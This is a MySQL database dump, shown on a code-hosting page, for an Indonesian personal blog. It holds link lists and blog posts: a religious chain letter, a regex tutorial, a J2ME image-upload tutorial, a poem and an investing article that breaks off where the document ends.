My favorites | Sign in
Project Home Downloads Wiki Issues Source
Checkout   Browse   Changes  
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
/*
SQLyog - Free MySQL GUI v5.16
Host - 5.0.22-community-nt : Database - mamatblog
*********************************************************************
Server version : 5.0.22-community-nt
*/


SET NAMES utf8;

SET SQL_MODE='';
SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO';

/*Table structure for table `admin` */

DROP TABLE IF EXISTS `admin`;

CREATE TABLE `admin` (
`nama` varchar(10) NOT NULL default '',
`password` varchar(225) NOT NULL default '',
PRIMARY KEY (`nama`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

/*Data for the table `admin` */

/*Table structure for table `link` */

DROP TABLE IF EXISTS `link`;

CREATE TABLE `link` (
`linkId` int(11) NOT NULL auto_increment,
`linkTitle` varchar(100) default NULL,
`linkStatus` tinyint(1) default NULL,
PRIMARY KEY (`linkId`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

/*Data for the table `link` */

insert into `link` (`linkId`,`linkTitle`,`linkStatus`) values (1,'Temen Moklet',1);
insert into `link` (`linkId`,`linkTitle`,`linkStatus`) values (2,'Temen Dept. IT',1);
insert into `link` (`linkId`,`linkTitle`,`linkStatus`) values (3,'Tutorial',1);
insert into `link` (`linkId`,`linkTitle`,`linkStatus`) values (4,'Favorite Site',1);
insert into `link` (`linkId`,`linkTitle`,`linkStatus`) values (5,'Temen Amikom',1);
insert into `link` (`linkId`,`linkTitle`,`linkStatus`) values (6,'Abadone',1);
insert into `link` (`linkId`,`linkTitle`,`linkStatus`) values (7,'Temen',1);

/*Table structure for table `linkdetail` */

DROP TABLE IF EXISTS `linkdetail`;

CREATE TABLE `linkdetail` (
`linkDetailId` int(11) NOT NULL auto_increment,
`linkName` varchar(100) default NULL,
`linkUrl` varchar(200) default NULL,
`linkDescribtion` varchar(200) default NULL,
`linkId` int(11) default NULL,
PRIMARY KEY (`linkDetailId`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

/*Data for the table `linkdetail` */

insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (1,'Nopi','http://www.althafunnisa.blogsome.com','nopi web',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (2,'Arief Suko','http://suko.web.id','arief web punya',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (3,'Wahyu H','http://www.wahyuhw.com','wahyu web',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (4,'Mr. Rachmad Agung','http://www.antiteori.or.id','Admin web paling maut...',2);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (5,'Mas Ichsan','http://x-sun.web.id','http://x-sun.web.id',2);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (6,'SUN Learning Connection','https://learningconnection.sun.com/index.html','SUN Learning Connection',3);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (7,'W3Schools Online Web Tutorials','http://www.w3schools.com','W3Schools Online Web Tutorials',3);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (8,'STMIK AMIKOM Yogyakarta','http://www.amikom.ac.id','STMIK AMIKOM Yogyakarta',6);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (9,'iwan','http://www.iwantembem.blogspot.com/','http://www.iwantembem.blogspot.com/',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (10,'M. Ilman Anwar','http://cyberwolf.web.id/','M. Ilman Anwar',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (11,'Dudung.net','http://dudung.net/','artikel islami yang tentramkan hati',4);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (12,'meliahatindonesia.com','http://www.melihatindonesia.com/','Photo2 hasil jepretan Mas Agung',4);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (14,'Heri','http://alikhwan.wordpress.com/','Heri Setiawan',5);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (16,'Moklet Angakatan 11','http://studiosewelas.net/','Temen2 Moklet Angkatan 11',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (17,'flazx.com','http://www.flazx.com','Website E-Book, mantep',3);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (18,'Mas Ariep','http://ariep.amikom.ac.id','Arif Laksito',2);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (19,'Mamat Gallery *new','http://mamat.amikom.ac.id/mamat_gallery','Mamat Gallery',6);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (20,'Mamat Project\'s','http://esnips.com/user/abuma','All About my project\'s is here',6);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (21,'Ifos Yahuut','http://ifos.wordpress.com','ifos temen amikom',5);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (22,'gaulislam.com','http://gaulislam.com','Bergaul Dengan Islam',4);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (23,'Mbak Isna','http://www.isnaweblog.blogspot.com/','Mbak Isna Blog punya',7);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (24,'Linto Gantheng','http://linto.jmn.net.id/','Linto Punya BLog',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (25,'Arik','http://kuliit.blogspot.com','arik punya blog',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (26,'Darwis','http://suryantara.wordpress.com/','Darwis blog punya',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (27,'Yanuu','http://yanumotivator.awardspace.com/','Yanuuu',1);
insert into `linkdetail` (`linkDetailId`,`linkName`,`linkUrl`,`linkDescribtion`,`linkId`) values (28,'NangkaComm','http://nangkacomm.net.tc/','Idea and Experience is NO Limit',6);

/*Table structure for table `page` */

DROP TABLE IF EXISTS `page`;

CREATE TABLE `page` (
`pageId` int(11) NOT NULL auto_increment,
`pageName` varchar(100) NOT NULL default '',
PRIMARY KEY (`pageId`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

/*Data for the table `page` */

insert into `page` (`pageId`,`pageName`) values (1,'About');
insert into `page` (`pageId`,`pageName`) values (2,'PHP');
insert into `page` (`pageId`,`pageName`) values (3,'JAVA');
insert into `page` (`pageId`,`pageName`) values (4,'Linux');
insert into `page` (`pageId`,`pageName`) values (5,'Islami');
insert into `page` (`pageId`,`pageName`) values (6,'Seyum');
insert into `page` (`pageId`,`pageName`) values (7,'Serba-serbi');
insert into `page` (`pageId`,`pageName`) values (8,'Programing');
insert into `page` (`pageId`,`pageName`) values (9,'KiddiesHack');

/*Table structure for table `pagecomment` */

DROP TABLE IF EXISTS `pagecomment`;

CREATE TABLE `pagecomment` (
`commentId` int(11) NOT NULL auto_increment,
`name` varchar(50) NOT NULL default '',
`email` varchar(50) default NULL,
`website` varchar(100) default NULL,
`comment` text NOT NULL,
`pageDetailId` int(11) default NULL,
`date` datetime default NULL,
PRIMARY KEY (`commentId`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

/*Data for the table `pagecomment` */

/*Table structure for table `pagedetail` */

DROP TABLE IF EXISTS `pagedetail`;

CREATE TABLE `pagedetail` (
`pageDetailId` int(11) NOT NULL auto_increment,
`pageDate` datetime default NULL,
`pageTitle` varchar(100) default NULL,
`pageDescribtion` text,
`userId` int(11) default NULL,
`pageStatus` tinyint(1) NOT NULL default '0',
`pageId` int(11) default NULL,
PRIMARY KEY (`pageDetailId`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

/*Data for the table `pagedetail` */

insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (1,'2007-07-16 00:00:00','About','Huh akhirnya blog ini setengah jadi hehe, jadi dah berani UPLOAD.\r\nMeski rada bingung mau ngisi apa tapi, yah mungkin pengetahuan yang mudah2-an gak ilang klo dibagi.\r\nPengennya nanti blog ini kayak blog2 yang lain, isinya mengenai curahan hati para pembuat BLOGnya.\r\n\r\nYah meskti tampak hitam, ini adalah desainku yang paling yahut karena pakek image sedikit\r\nhihi.\r\nBlog ini meski tampilannya agak gak karuan tapi mempunyai TEKNOLOGI PHP DAN AJAX sepenuhnya,\r\nyah agak menang lah klo disaingikan ma Wordpress. \r\nSempat juga sih kemarin bikin blog pakek Wordpress, tapi malu ma diri sendiri masak ngaku programer\r\nPHP eh blognya masih pakek milik orang lain. hehe \r\n\r\nMatur Nuwun, Buat Departemen IT dah ngasi Hosting gratis Special For Om Rachmad Agung and Om Eddy Lase\r\nhaha :D. Meski <b>mamat.amikom.ac.id</b> keliatan gak keurus tapi di dalamnya isi buat <b>PEGEMBANGAN DAN PROJECT</b> sementara. Mulai dari Web Sevice, pengembangan Class, dan Experimen lainnnya yang membutuhkan koneksi public\'s. Pokok\'e buat semua kru departement IT, MATUR NUWUN hehe. \r\n\r\n<div align=\"center\"><b>...Smart IT Team, some people can make your dreams came true...</b></div>',1,1,1);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (2,'2007-07-16 00:00:00','Surat Dari IBLIS','( Surat Dari Iblis)\r\n( Surat ini akan membuat anda benar-benar berfikir)\r\n(Sebenarnya surat ini hampir membuatku gila saat aku membacanya, \r\ntapi aku harus memforwardnya karena catatan kecil dibawahnya) \r\n\r\n****************************************\r\n\r\nSURAT DARI SETAN UNTUK MU\r\n\r\nAku melihatmu kemarin, saat engkau memulai aktifitas harianmu. \r\nKau bangun tanpa sujud mengerjakan subuhmu \r\nBahkan kemudian, kau juga tidak mengucapkan \"Bismillah\" sebelum memulai santapanmu, \r\njuga tidak sempat mengerjakan shalat Isha sebelum berangkat ketempat tidurmu\r\nKau benar2 orang yang bersyukur, Aku menyukainya \r\nAku tak dapat mengungkapkan betapa senangnya aku melihatmu tidak merubah cara hidupmu. \r\n\r\nHai Bodoh, Kamu millikku. \r\nIngat, kau dan aku sudah bertahun-tahun bersama,\r\ndan aku masih belum bisa benar2 mencintaimu . \r\nMalah aku masih membencimu, karena aku benci Allah. \r\nAku hanya menggunakanmu untuk membalas dendamku kepada Allah. \r\nDia sudah mencampakkan aku dari surga, dan aku akan tetap memanfaatkanmu sepanjang masa untuk mebalaskannya \r\n \r\nKau lihat, ALLAH MENYAYANGIMU dan dia masih memiliki rencana-rencana untukmu dihari depan. \r\nTapi kau sudah menyerahkan hidupmu padaku,\r\ndan aku akan membuat kehidupanmu seperti neraka. \r\nSehingga kita bisa bersama dua kali dan ini akan menyakiti hati ALLAH\r\n \r\nAku benar-benar berterimakasih padamu, karena aku sudah menunjukkan kepada NYA siapa \r\nyang menjadi pengatur dalam hidupmu dalam masa2 yang kita jalani\r\n \r\nKita nonton film porno bersama, memaki orang, mencuri, berbohong, munafik, \r\nmakan sekenyang-kenyangya, guyon2an jorok, bergosip, manghakimi orang, menghujam orang dari belakang, tidak hormat pada orang tua , \r\nTidak menghargai Masjid, berperilaku buruk. \r\n \r\nTENTUNYA kau tak ingin meninggalkan ini begitu saja. \r\nAyolah, Hai Bodoh, kita terbakar bersama, selamanya.\r\nAku masih memiliki rencana2 hangat untuk kita.\r\nIni hanya merupakan surat penghargaanku untuk mu. \r\nAku ingin mengucapkan \'TERIMAKASIH\' karena sudah mengizinkanku memanfaatkan hampir semua masa hidupmu. \r\nKamu memang sangat mudah dibodohi, aku menertawakanmu.\r\nSaat kau tergoda berbuat dosa kamu menghadiahkan tawa. \r\nDosa sudah mulai mewarnai hidupmu. \r\nKamu sudah 20 tahun lebih tua, dan sekarang aku perlu darah muda.\r\nJadi, pergi dan lanjutkanlah mengajarkan orang-orang muda bagaimana berbuat dosa. \r\nYang perlu kau lakukan adalah merokok, mabuk-mabukan, berbohong, berjudi, bergosip, dan hiduplah se-egois mungkin. \r\nLakukan semua ini didepan anak-anak dan mereka akan menirunya. \r\nBegitulah anak-anak .\r\nBaiklah, aku persilahkan kau bergerak sekarang. \r\nAku akan kembali beberapa detik lagi untuk menggoda mu lagi.\r\nJika kau cukup cerdas, kau akan lari sembunyi, dan bertaubat atas dosa-dosamu.\r\nDan hidup untuk Allah dengan sisa umurmu yang tinggal sedikit. \r\nMemperingati orang bukan tabiatku, tapi diusiamu sekarang dan tetap melakukan dosa, sepertinya memang agak aneh. \r\nJangan salah sangka, aku masih tetap membencimu. \r\nHanya saja kau harus menjadi orng tolol yang lebih baik dimata ALLAH. \r\n \r\nCatatan : Jika kau benar2 menyayangiku , kau tak akan membagi surat ini dengan siapapun.',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (3,'2007-07-17 00:00:00','Reguler Expresion','Basic Syntax of Regular Expressions (as from PHPBuilder.com)First of all, let\'s take a look at two special symbols: \'^\' and \'$\'. What they do is indicate the\r\nstart and the end of a string, respectively, like this:\r\n\r\n\"^The\": matches any string that starts with \"The\";\r\n\"of despair$\": matches a string that ends in the substring \"of despair\";\r\n\"^abc$\": a string that starts and ends with \"abc\" -- that could only be \"abc\" itself!\r\n\"notice\": a string that has the text \"notice\" in it.\r\nYou can see that if you don\'t use either of the two characters we mentioned, as in the last example,\r\nyou\'re saying that the pattern may occur anywhere inside the string -- you\'re not \"hooking\" it to any of the edges.\r\n\r\nThere are also the symbols \'*\', \'+\', and \'?\', which denote the number of times a character or a sequence of\r\ncharacters may occur. What they mean is: \"zero or more\", \"one or more\", and \"zero or one.\" Here are some examples:\r\n\r\n\"ab*\": matches a string that has an a followed by zero or more b\'s (\"a\", \"ab\", \"abbb\", etc.);\r\n\"ab+\": same, but there\'s at least one b (\"ab\", \"abbb\", etc.);\r\n\"ab?\": there might be a b or not;\r\n\"a?b+$\": a possible a followed by one or more b\'s ending a string.\r\nYou can also use bounds, which come inside braces and indicate ranges in the number of occurences:\r\n\r\n\"ab{2}\": matches a string that has an a followed by exactly two b\'s (\"abb\");\r\n\"ab{2,}\": there are at least two b\'s (\"abb\", \"abbbb\", etc.);\r\n\"ab{3,5}\": from three to five b\'s (\"abbb\", \"abbbb\", or \"abbbbb\").\r\nNote that you must always specify the first number of a range (i.e, \"{0,2}\", not \"{,2}\"). Also, as you might\r\nhave noticed, the symbols \'*\', \'+\', and \'?\' have the same effect as using the bounds \"{0,}\", \"{1,}\", and \"{0,1}\",\r\nrespectively.\r\n\r\nNow, to quantify a sequence of characters, put them inside parentheses:\r\n\r\n\"a(bc)*\": matches a string that has an a followed by zero or more copies of the sequence \"bc\";\r\n\"a(bc){1,5}\": one through five copies of \"bc.\"\r\nThere\'s also the \'|\' symbol, which works as an OR operator:\r\n\r\n\"hi|hello\": matches a string that has either \"hi\" or \"hello\" in it;\r\n\"(b|cd)ef\": a string that has either \"bef\" or \"cdef\";\r\n\"(a|b)*c\": a string that has a sequence of alternating a\'s and b\'s ending in a c;\r\nA period (\'.\') stands for any single character:\r\n\r\n\"a.[0-9]\": matches a string that has an a followed by one character and a digit;\r\n\"^.{3}$\": a string with exactly 3 characters.\r\nBracket expressions specify which characters are allowed in a single position of a string:\r\n\r\n\"[ab]\": matches a string that has either an a or a b (that\'s the same as \"a|b\");\r\n\"[a-d]\": a string that has lowercase letters \'a\' through \'d\' (that\'s equal to \"a|b|c|d\" and even \"[abcd]\");\r\n\"^[a-zA-Z]\": a string that starts with a letter;\r\n\"[0-9]%\": a string that has a single digit before a percent sign;\r\n\",[a-zA-Z0-9]$\": a string that ends in a comma followed by an alphanumeric character.\r\nYou can also list which characters you DON\'T want -- just use a \'^\' as the first symbol in a bracket expression\r\n(i.e., \"%[^a-zA-Z]%\" matches a string with a character that is not a letter between two percent signs).\r\n\r\nIn order to be taken literally, you must escape the characters \"^.[$()|*+?{\\\" with a backslash (\'\\\'), as\r\nthey have special meaning. On top of that, you must escape the backslash character itself in PHP3 strings, so,\r\nfor instance, the regular expression \"(\\$|',1,1,2);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (4,'2007-07-17 00:00:00','Capture Image and send on Server(J2ME)','Picture transmission over HTTP\r\n\r\nThis presented Java source code allows the capturing of an image on a mobile phone and the transfer of this image form the mobile phone over a HTTP connection to the server. As some bytes were lost by transfering in our first implementation, we decided to encode the image data by the Base64 algorithm for the transmission.\r\n\r\nTested with this hardware\r\n\r\n * Nokia 6600 (Software version 4.09.1), MIDP 2.0 / CLDC 1.0\r\n * Acer Bluetooth USB Dongle (BT-600, Price ca. 25-30 Euro) \r\n\r\nUsed technologies\r\n\r\n * Mobile Phone: We implemented a program to access the integrated camera of a mobile phone. This provides the possibility to take pictures in different kinds of resolutions and different kinds of encoding formats. The pictures can be stored as Record Stores and can be afterwards shown on the display. For further information read the article about Image evaluation on mobile phones.\r\n * Connection: We used the connetion Internet over Bluetooth to get connected with the internet. For further information read the mentioned article. We used this connection to transfer data over HTTP to a server and store the data into an image file.\r\n * Server: We used the Tomcat server which is a servlet container for Java Servlets and JavaServer Pages. A servlet can be seen as an applet that runs on the server side. Such a servlet also provides a possibility for data transfers in our chase for receiving and storing image data.\r\n * Encoding algorithm: As already mentioned, during the first tests some data have been lost. Therefore we decided to encode the image data before the transmission. For the Base64 encoding and decoding we used an implementation which was developed by Stefan Haustein.\r\n The algorithm encodes a byte array into a String. Base64 is a data encoding scheme whereby binary-encoded data is converted to printable ASCII characters. It is defined as a MIME content transfer encoding for use in internet e-mail. The only characters used are the upper- and lower-case Roman alphabet characters (A-Z, a-z), the numerals (0-9), and the \"+\" and \"/\" symbols, with the \"=\" symbol as a special suffix code.\r\n\r\nSource code\r\n\r\nAll souce codes can be found at HTTPConnection.zip.\r\n\r\nCode on the mobile phone (client):\r\n\r\nAfter a picture has been taken, this date should be transfered to a server. At the first step the byte[] of the image data is encoded by the Base64 algorthim. The return value is a String.\r\n\r\n String imageString = Base64.encode(imageByteArray);\r\n\r\nNow the URL and the path to the servlet have to be defined. Afterwards a connection to the given url is opened. Moreover the http Connection object need to know which method (e.g. POST) should be used on the server side.\r\n\r\n String url = new String(\"http://XXX.XXX.XXX.XXX:XXXX/..../PostServlet\");\r\n HttpConnection hc = (HttpConnection)Connector.open(url);\r\n \r\n // Modifying the headers of the request\r\n hc.setRequestMethod(HttpConnection.POST);\r\n \r\n\r\nNow the connection is ready to send data. Therefore a Outputream can be set and the data can be written into the Outputstream. Finally the Outputstream and the Connection are closed.\r\n\r\nOutputstream out = hc.openOutputStream();\r\n out.write(imageString.getBytes());\r\n if (out != null) out.close();\r\n if (hc !=null) hc.close();\r\n\r\nCode on the server side:\r\n\r\nThe following code is part of the doPost method of the servlet. At first a Inputstream is opened and a BufferedReader receives the data of the InputStream. Afterwards the BufferedReader reads out the received String. This String includes the encoded image data.\r\n\r\n InputStream in = request.getInputStream();\r\n BufferedReader r = new BufferedReader(new InputStreamReader(in));\r\n StringBuffer buf = new StringBuffer();\r\n String line;\r\n\r\n //Read the BufferedReader out and receives String data\r\n while ((line = r.readLine())!=null) {\r\n buf.append(line);\r\n }\r\n String imageString = buf.toString();\r\n \r\n\r\nNow the String data can be decoded by the same Base64 algorithm. The input data is the encoded String. The return value is the decoded byte[] of the image.\r\n\r\n byte[] imageByteArray = Base64.decode(imageString);\r\n\r\nNow the original data of the image can be written into a file. We use the FileOutputStream. This stream writes a byte[] into a given filepath.\r\n\r\n FileOutputStream f = new FileOutputStream(\"C:/..../image.png\");\r\n f.write(imageByteArray);\r\n f.close();\r\n\r\nReferences\r\n\r\n * <a href = \'http://www.wirelessdevnet.com/channels/java/features/j2me_http.phtml\'>Further information of HTTPConnections with J2ME</a>\r\n * <a href = \'http://en.wikipedia.org/wiki/Base64\'>Base64 algorithm</a>\r\n * <a href = \'http://java.sun.com/j2ee/tutorial/1_3-fcs/doc/Servlets.html\'>Java Servlets</a>\r\n * <a href = \'http://jakarta.apache.org/tomcat/\'>Tomcat Server</a>\r\n\r\n',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (5,'2007-07-16 00:00:00','Puisi peninggalan Buku ku','Huh ini adalah puisi yang paling aq sukai, karena diIlhami dari Ayat Suci Al Quran.\r\nSebenarnya aq punya buku bagus tapi hilang, keliatanya sih dipinjam teman tapi aq lupa siapa \r\nyang minjam. Yang tersisa cuma puisi ini... \r\n\r\nhaduh sedih banget.... :~(\r\n\r\n\r\nDan bahwa kepada Tuhanmu akhirnya kau kembali\r\n-Q.S. 53 Surat An Najm(Bintang) Ayat 42\r\n\r\nAku tahu, rizkiku tak mungkin diambil orang lain\r\nKarenanya hatiku tenang\r\n\r\nAku tahu, amal-amalku tak mungkin dilkukan orang lain\r\nMaka, aku sibukkan diri dengan bekerja dan beramal\r\n\r\nAku tahu, <b>ALLAH</b> selalu melihatku\r\nKarenanya, aku malu bila <b>ALLAH</b> mendapatiku melakukan maksiat\r\n\r\nAku tahu, kematian menantiku\r\nMaka, kupersembahkan bekal untuk berjumpa dengan <b>Rabb-ku</b>\r\n\r\nYa <b>ALLAH</b> ampunilah Hambamu ini..! amien',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (6,'2007-07-17 00:00:00','Mamat Photo Album','Ini photo album yang dapet dari sisa file temen2. Hehe Soalnya gak punya kamera sih jadi bisanya\r\npinjem ma temen. \r\n\r\n<a href = \'http://mamat.amikom.ac.id/mamat_gallery\'>Mamat Photo Album</a>',1,1,1);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (7,'2007-07-16 00:00:00','Pengen Belajar Keuangan','Mengembangbiakkan Dana Melalui Reksadana dan Saham\r\nSaturday, 10 March 2007 05:14:00\r\nJAKARTA , Investor Daily\r\nBoleh dibilang sebagian besar masyarakat yang memiliki dana lebih menempatkan dananya pada instrumen deposito. Deposito bagi kalangan masyarakat kebanyakan boleh dibilang sebagai sarana investasi, karena dibandingkan tabungan dan giro bunga yang diberikan jauh lebih tinggi. Sejak beberapa tahun lalu, deposito memang boleh dibilang sebagai instrumen investasi karena tingkat keuntungan tadi. Tapi bagaimana dengan saat ini?\r\n\r\nSeiring berkembangnya industri keuangan dengan berbagai produk yang ada, bagi investor, tampaknya deposito sudah tidak dapat lagi dikatakan sebagai instrumen investasi. Alasanya sederhana, layaknya seorang investor tentu akan menghitung dan membandingkan tingkat keuntungan yang akan diraih dalam berinvestasi. Deposito sudah tidak bisa dikatakan lagi instrumen investasi, kata Ibu Danya seorang investor yang gemar berinvestasi pada saham.\r\n\r\nDia menghitung hasil penempatan dananya pada deposito sangat minim. Dengan uang senilai Rp 50 juta pada awal 2006, dia menempatkan pada deposito berjangka 1 tahun berbunga 12,25%. Karena deposito dikenakan pajak 20%, maka akhir tahun ternyata dananya hanya berkembang biak menjadi Rp 54,320 juta atau hanya memberikan tambahan dana Rp 4,32 jutaatau return 8,65%. Padahal inflasi selama 2006 mencapai 6,3%. Artinya, hasil investasi riil yang diperoleh Danya hanya mencapai 2% per tahun.\r\n\r\nPadahal temannya yang berinvestasi pada reksadana ataupun saham dalam tahun yang sama memperoleh keuntungan jauh lebih tinggi. Kawannya dengan modal saham Rp 50 juta, mencoba membeli reksadana pendapatan tetap yang agak sedikit aman, memperoleh untung Rp 8,9 juta. Ada juga teman saya yang main saham secara langsung, untungnya luar biasa, tambah Danya.\r\n\r\nPernyataan Danya tentu bukan asal lontar. Memang ada fakta yang menunjukkan investasi pada saham secara langsung dapat memberikan keuntungan yang besar. Selain keuntungan dari capital gain , terkadang juga potensi memperoleh dividen. Terutama bagi yang berinvestasi jangka panjang, tentu akan mengharapkan kedua keuntungan tersebut.\r\n\r\nNamun masyarakat Indonesia masih banyak yang belum melek investasi non deposito layaknya Ibu Danya, kendati menurut Joko Retnadi, deposito sudah tidak layak lagi dikatakan isntrumen investasi. Seperti yang terjadi pada Sita, salah satu penyanyi dari vokal grup Rida-Sita-Dewi ini mengaku masih menyisihkan dananya pada deposito. Atau Ibu Lina, yang masih merasa di deposito lebih aman.\r\n\r\nPadahal, menurut Lilis Setiadi, Direktur of head sales Schroders, deposito juga memiliki risiko, ketika banknya dilikuidasi. Memang pemerintah masih menjamin simpanan dana masyarakat di bank. Namun, hingga 22 Maret nanti, simpanan yang dijamin hanya Rp 100 juta. Lebih dari itu, tidak dijamin. Artinya risiko menyimpan dana pada bank juga terbuka, apalagi saat ini masih banyak bank yang memiliki modal di bawah ketentuan BI. Lantas bagaimana sebaiknya dana itu dikembang biakkan?\r\n\r\nSita mengakui, menyimpan dana di deposito juga berisiko, dan ada keinginan dia menempatkan pada reksa dana ataupun saham. Sayangnya, Sita belum familiar dengan kedua instrumen ini Gelap dan susah aku pahami,ujar Sita. Sita tidak paham karena tidak mengerti kemana harus bertanya, kepada siapa pula harus meminta informasi. Padahal, aku pingin banget coba main saham atau investasi selain deposito, tuturnya. Karena informasi investasi non deposito bak jauh panggang dari api, akhirnya pilihan investasi Sita pun hanya mentok di sertifikat deposito.\r\n\r\nKuatnya keinginan Sita untuk berinvestasi pada reksa dana dan saham adalah gambaran dari kebanyakan masyarakat yang masih membenamkan dananya pada deposito. Lalu langkah awal seperti apa yang bisa ditempuh dan perlu diketahui masyarakat yang bernasib seperti Sita namun ingin mencicipi ranumnya saham atau reksadana ?\r\n\r\nBluechips dan Pemain Baru\r\n\r\n\r\nInvestor yang akan memulai investasi pada saham, setidaknya harus menyiapkan diri secara utuh, baik mental, emosional maupun waktu. Dan yang penting lagi, harus menetapkan tujuan investasinya untuk apa dan berapa lama jangka waktu investasi.\r\n\r\nSetelah tujuan itu ditetapkan, para praktisi saham sepakat, menyatakan, bermain saham mesti dilandasi prediksi, proyeksi, serta siasat yang tepat. Pada instrumen saham berlaku prinsip high risk, high return menjadi kata mati yang harus dihormati. Jika menginginkan untung besar, maka berani menghadapi risiko yang juga besar. Di sini lah arti penting dari prediksi, proyeksi, serta siasat. Yang paling aman, bermain lah di saham-saham bluechips , saran praktisi saham, Edwin Sinaga kepada pemula yang akan berinvestasi pada saham.\r\n\r\nKedengarannya klasik, namun itu lah nasehat pertama yang harus dijunjung tinggi. Bagi investor yang terbiasa di deposito, sebaiknya ambil sepertiga dari deposito untuk mencoba diinvestaikan pada saham.. Pilihan saham bluechips merupakan tindakan manusiawi. Selain aman, juga tidak merepotkan. Disebut begitu karena fluktuasi saham bluechips cenderung rendah.\r\n\r\nDengan demikian, Edwin melanjutkan, investor tidak perlu mengalokasikan waktu untuk memantau pergerakannya. Itu lah alasannya, kenapa saham-saham bluechips cocok bagi investor yang punya waktu sedikit, ujar Edwin.\r\n\r\nSementara itu, bagi mereka yang memiliki waktu luang, ekspansi ke saham second line bukan tindakan berlebihan. Saham-saham second line yang baik, misalnya, saham-saham consumer goods , perbankan serta properti pilihan, tandas Edwin.\r\n\r\nIdealnya, pemain saham mengantongi dua modal sekaligus, yakni uang dan waktu. Sayangnya, seperti kecenderungan umum, sesuatu yang ideal biasanya sukar didapat. Jika memiliki waktu, kerapkali investor tak memiliki modal besar. Sebaliknya, saat memegang uang banyak, giliran waktu yang tak bersahabat.\r\n\r\nHarus Disiplin\r\n\r\n\r\nEdwin menekankan, untuk investor pemula sebaiknya harus disiplin dan menahan emosi. Menurut dia, dalam bermain saham harus ada target yang ditetapkan. Yaitu target keuntungan dan juga target kerugiaan. Jika saham yang kita miliki sudah mengalami kenaikan harga 